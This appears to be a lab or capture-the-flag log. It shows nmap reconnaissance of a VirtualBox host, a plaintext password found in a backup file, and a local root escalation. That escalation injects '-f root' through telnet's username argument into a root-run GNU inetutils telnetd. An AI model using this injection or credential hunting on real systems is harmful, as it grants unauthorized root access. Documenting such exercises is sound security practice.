root@kali:~# nmap 192.168.56.118
Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-21 23:53 -0400
Nmap scan report for 192.168.56.118
Host is up (0.00090s latency).
Not shown: 997 closed tcp ports (reset)PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
9090/tcp open zeus-admin
MAC Address: 08:00:27:35:52:5B (Oracle VirtualBox virtual NIC)Nmap done: 1 IP address (1 host up) scanned in 1.57 seconds
root@kali:~# nmap 192.168.56.118 -p22,80,9090 -A
Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-21 23:53 -0400
Nmap scan report for 192.168.56.118
Host is up (0.0021s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 10.0p2 Debian 7+deb13u1 (protocol 2.0)80/tcp open http Apache httpd 2.4.66 ((Debian))|_http-title: Warning
|_http-server-header: Apache/2.4.66 (Debian)9090/tcp open ssl/http Cockpit web service
|_ssl-date: TLS randomness does not represent time| ssl-cert: Subject: commonName=LNNN/organizationName=c2d6d1b6c1084753b022ca80771b162d
| Subject Alternative Name: IP Address:127.0.0.1, DNS:localhost
| Not valid before: 2026-05-16T12:12:36
|_Not valid after: 2027-06-15T12:12:36
| http-robots.txt: 1 disallowed entry
|_/
# 省略了一些无用信息MAC Address: 08:00:27:35:52:5B (Oracle VirtualBox virtual NIC)Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 4.15 - 5.19 (97%), Google Chromecast with Google TV (Android 10, Linux 4.9)(93%), Android 5 - 10(Linux 3.4 - 3.18)(93%), Linux 2.6.32 (93%), Android 10 - 12(Linux 4.14 - 4.19)(93%), Linux 5.10 - 5.19 (93%), Linux 3.2 - 4.14 (93%), Linux 5.4 - 5.10 (93%), OpenWrt 21.02 (Linux 5.4)(93%), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)(93%)No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 2.14 ms 192.168.56.118
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 129.08 seconds
cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
lnnn:x:1000:1000:,,,:/home/lnnn:/bin/bash
mono:x:1001:1001:,,,:/home/mono:/bin/bash
todd:x:1002:1002:,,,:/home/todd:/bin/bash
find / -user lnnn 2>/dev/null | grep -v proc
# 发现：/var/backups/lnnn-password.txt
cat /var/backups/lnnn-password.txt
c7L0rEw7ay3dQrip5yDU
su lnnn
Password:
id
uid=1000(lnnn)gid=1000(lnnn)groups=1000(lnnn),100(users)# 我就做到这里，还是经历了一些曲折的。# 运行 lin2026.shbash lin2026.sh
Xinetd Configuration (/etc/xinetd.conf):
defaults
{}includedir /etc/xinetd.d
Included Configurations:
includedir /etc/xinetd.d
Service Configurations:
Services in /etc/xinetd.d/:
Service: telnet-vuln
Status: Disabled
service telnet-vuln
{socket_type= stream
wait= no
user= root
server= /opt/telnetd
server_args= -l
log_on_failure+= USERID
port=2323}Warning: Service runs as root
ps auxww | grep "telnetd"root 544 0.0 0.2 117204488 ? Ss May21 0:00 /usr/bin/socat TCP-LISTEN:23,bind=127.0.0.1,fork,reuseaddr EXEC:/usr/bin/telnetd,nofork
lnnn 327670 0.0 0.1 65282352 pts/2 S+ 09:34 0:00 grep telnet
# ww 为了让 cmd 输出更加完整# 在本地为 telnetd 搭建了一个 入口telnetd --version
telnetd (GNU inetutils) 2.4
Copyright (C)2022 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Written by many authors.
lnnn@LNNN:~$ telnet -l '-f root' 127.0.0.1 23Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
Linux 7.0.8-1-liquorix-amd64 (LNNN)(pts/3)root@LNNN:~# id
uid=0(root)gid=0(root)groups=0(root)
wArn